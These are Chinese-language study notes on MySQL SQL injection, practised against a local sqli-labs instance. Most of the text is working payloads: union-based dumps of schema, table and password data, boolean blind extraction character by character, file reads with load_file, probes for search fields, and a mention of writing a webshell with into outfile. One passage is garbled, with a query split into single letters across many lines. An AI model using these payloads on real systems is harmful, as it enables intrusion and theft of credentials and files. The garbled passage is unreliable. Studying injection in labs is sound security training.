零碎知识点
MySQL information_schema数据库
Mysql5.0以上才存在,记录了mysql数据库中所有的库名、表名、列名
imformation_shcema数据库中重要的表
imformation_shcema.schemata:记录了所有数据库的库名 schema_name
imformation_shcema.tables:记录了所有数据表的表名 table_name
imformation_shcema.columns:记录了所有列名 column_name
// 通过这条语句可以得到第一个的数据库名
select schema_name from information_schema.schemata limit 0,1
// 通过这条语句可以得到第一个的数据表名
select table_name from information_schema.tables limit 0,1
// 通过这条语句可以得到指定security数据库中的所有表名
select table_name from information_schema.tables where table_schema='security’limit 0,1
// 通过这条语句可以得到第一个的列名
select column_name from information_schema.columns limit 0,1
// 通过这条语句可以得到指定数据库security中的数据表users的所有列名
select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1
//通过这条语句可以得到指定数据表users中指定列password的第一条数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
select password from users limit 0,1
mysql常用函数
-
version():查询数据库版本,看是否可以利用information_schema
-
user():查询数据库的使用者,主要是查看权限
-
databas():查看当前数据库,信息搜集,以便后续对该数据库的利用
-
system_user():系统用户名
-
session_user():连接数据库的用户名,可尝试弱口令和爆破攻击
-
current_user():当前用户名
-
load_file():读取本地文件,这个函数比较重要,可以读取系统上的敏感信息。https://blog.csdn.net/weixin_30292843/article/details/99381669
-
select ‘字符串’ into outfile ’文件路径‘ 或 select ‘字符串’ into dumpfile ‘文件路径’:导出数据到文件中
-
@@datadir:读取数据库路径,以便上传webshell
-
@@basedir:mysql安装路径
-
@@version_complie_os:查款操作系统
-
ascii(‘str’):返回给定字符的ascii值
-
length(‘str’):返回给定字符串的长度
-
substr(‘str’,start,length):对于给定字符串string,从start位开始截取,截取length长度,如substr(‘abdcefg’,2,3) = ‘bdc’
-
concat(username):将查询到的username连在一起,默认用逗号分隔
-
concat(str1,‘|’,str2):将查询到的str1和str2连接到一起,中间使用 | 分隔
-
group_concat(username):将username数据查询在一起,用逗号连接
-
count():函数返回匹配指定条件的行数,SELECT COUNT(column_name) FROM table_name
常见注释符
–+
/ ** /
SQL注入的分类
根据注入点
数字型注入
数字型没有单引号
select email from member where id=
i
d
s
e
l
e
c
t
e
m
a
i
l
f
r
o
m
m
e
n
b
e
r
w
h
e
r
e
i
d
=
id select email from menber where id=
idselectemailfrommenberwhereid=id and 1=1 正常
select email from menber where id=$id and 1=2 报错
字符串类型注入
select email from member where id=‘$id’
输入:1 or 1=1 报错
select email from member where id=‘1 or 1=1’
输入:1’ or 1=1 # 正常
搜索型注入
语句如下:SELECT*from database.table where users like ‘%要查询的关键字%’。这里“%”匹配任何字符,“like”的意思就是像。比如我们在搜索框输入关键字“李”,那么SQL语句就变成了SELECT * from database.table where users like ‘%李%’,意思就是查询users列里的带有关键字“李”的数据。
如果我们在输入关键字的时候不是输入的关键字“李”,而是精心构造的SQL语句,并且对于输入的关键字也没有过滤,那么注入就形成了。
例如我们在搜索框输入 李%‘and’1’=‘1’ and%’=’
SELECT * from table where users like’%李%‘and’1’=‘1’and’%’=’%’
Url 地址中输入 www.xxx.com/abc.php?users= 1‘ 报错,说明很有可能存在注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1% 报错,说明特别可能存在注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1% ‘and 1=1 and ‘%’=’ 正确
Url 地址中输入 www.xxx.com/abc.php?users= 1% ‘and 1=2 and ‘%’=’ 错误
根据上面两条语句判断是否存在搜索型注入。
以下几种语句都可以
‘and 1=1 and ‘%’=’
%’ and 1=1–’
%’ and 1=1 and ‘%’=’
根据提交方式分类
GET注入
POST注入
COOKIE注入
HTTP头注入(XFF注入、UA注入、REFERER注入)
根据获取信息的方式分类
基于布尔的盲注
服务器没有错误回显,但是存在sql注入
常用函数:ascii(),substr(),length(),exists(),concat()
1.判断数据库类型 exists()
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1’ and exists(selectfrom information_schema.tables) #
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1’ and exists(selectfrom msysobjects) #
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1’ and exists(selectfrom sysobjects) #
//判断是否是Oracle数据库
http://127.0.0.1/sqli/Less-5/?id=1’ and (select count() from dual)>0 #
2.判断当前数据库名 length(),ascii(),substr()
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1’ and length(database())>5 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1’ and length(database())>10 //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1’ and length(database())>7 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1’ and length(database())>8 //不显示任何数据
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr(database(),2,1))>100
…
由此可以判断出当前数据库为 security
3.判断当前数据库中的表
http://127.0.0.1/sqli/Less-5/?id=1’ and exists(select * from admin) //猜测当前数据库中是否存在admin表
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
…
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
4.判断表中的字段
http://127.0.0.1/sqli/Less-5/?id=1’ and exists(select username from admin) //如果已经证实了存在admin表,那么猜测是否存在username字段
1:判断表中字段的个数
//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)>5 #
2:判断字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select column_name from information_schema.columns where table_name=‘users’ limit 0,1))>5
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select column_name from information_schema.columns where table_name=‘users’ limit 1,1))>5
3:判断字段的ascii值
//判断第一个字段的第一个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))>100
//判断第一个字段的第二个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2,1))>100
…
由此可判断出users表中存在 id、username、password 字段
5.判断字段中的数据
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select id from users limit 0,1))>5
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select id from users limit 1,1))>5
2:判断数据的ascii值
// 判断id字段的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select id from users limit 0,1),1,1))>100
// 判断id字段的第一个数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select id from users limit 0,1),2,1))>100
…
基于时间的盲注
基于报错的注入
联合查询Union注入
适用于显示列的注入
order by判断数据表的列数
?id=1’ or order by 1 --+ 正常
?id=1’ or order by 2 --+ 正常
?id=1’ or order by 3 --+ 正常
?id=1’ or order by 4 --+ Unknown column ‘4’ in ‘order clause’
说明数据表列数为3
union联合查询判断回显点
?id=-1’ union select 1,2,3 --+
将前一个查询使用-1手动否定掉,那么只会显示联合查询的结果,这样就知道了回显点在哪
使用函数进行信息搜集
version()
database()
user()
等等
获取数据库、表、列
// 获得所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata --+
// 获得所有的表
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables --+
// 获得所有的列
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns --+
//获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(password),3 from users%23 --+
//获取当前数据库所有的表名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
//获取当前数据库的列名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
//获取指定表的所有信息
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(id,‘–’,username,‘–’,password),3 from users --+
堆查询注入
文件读写
- 当有显示列的时候,文件读可以利用union注入
- 当没有显示列的时候,只能利用盲注进行数据读取
union注入读取文件(load_file)
读取e盘下的1.txt文件
//union注入读取 e:/1.txt 文件
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,load_file(“e:/1.txt”) --+
//也可以把 e:/1.txt 转换成16进制 0x653a2f332e747874
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,load_file(0x653a2f332e747874) --+
盲注读取文件
//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1’ and ascii(mid((select hex(load_file(‘e:/3.txt’))),18,1))>49#’ LIMIT 0,1
判断是否存在SQL注入
1.加单引号’,双引号"、单括号)、双括号))等看是否报错
2.and 1=1 , and 1=2 页面显示不一致
3.Timing attack 时间盲注,有时网站配置了不显示错误信息,但是可能存在sql注入
在Mysql中,有一个benchmark()函数,用于测试性能。benchmark(count,expr),将表达式expr执行count次。
利用benchmark函数,让同一个函数执行若干次,通过时间长短的变化,判断注入语句是否执行成功
易出现SQL注入的功能点
- 登录页面
- 涉及获取HTTP头(user-agent / client-ip等)
- 搜索框
- 等等(待个人补充)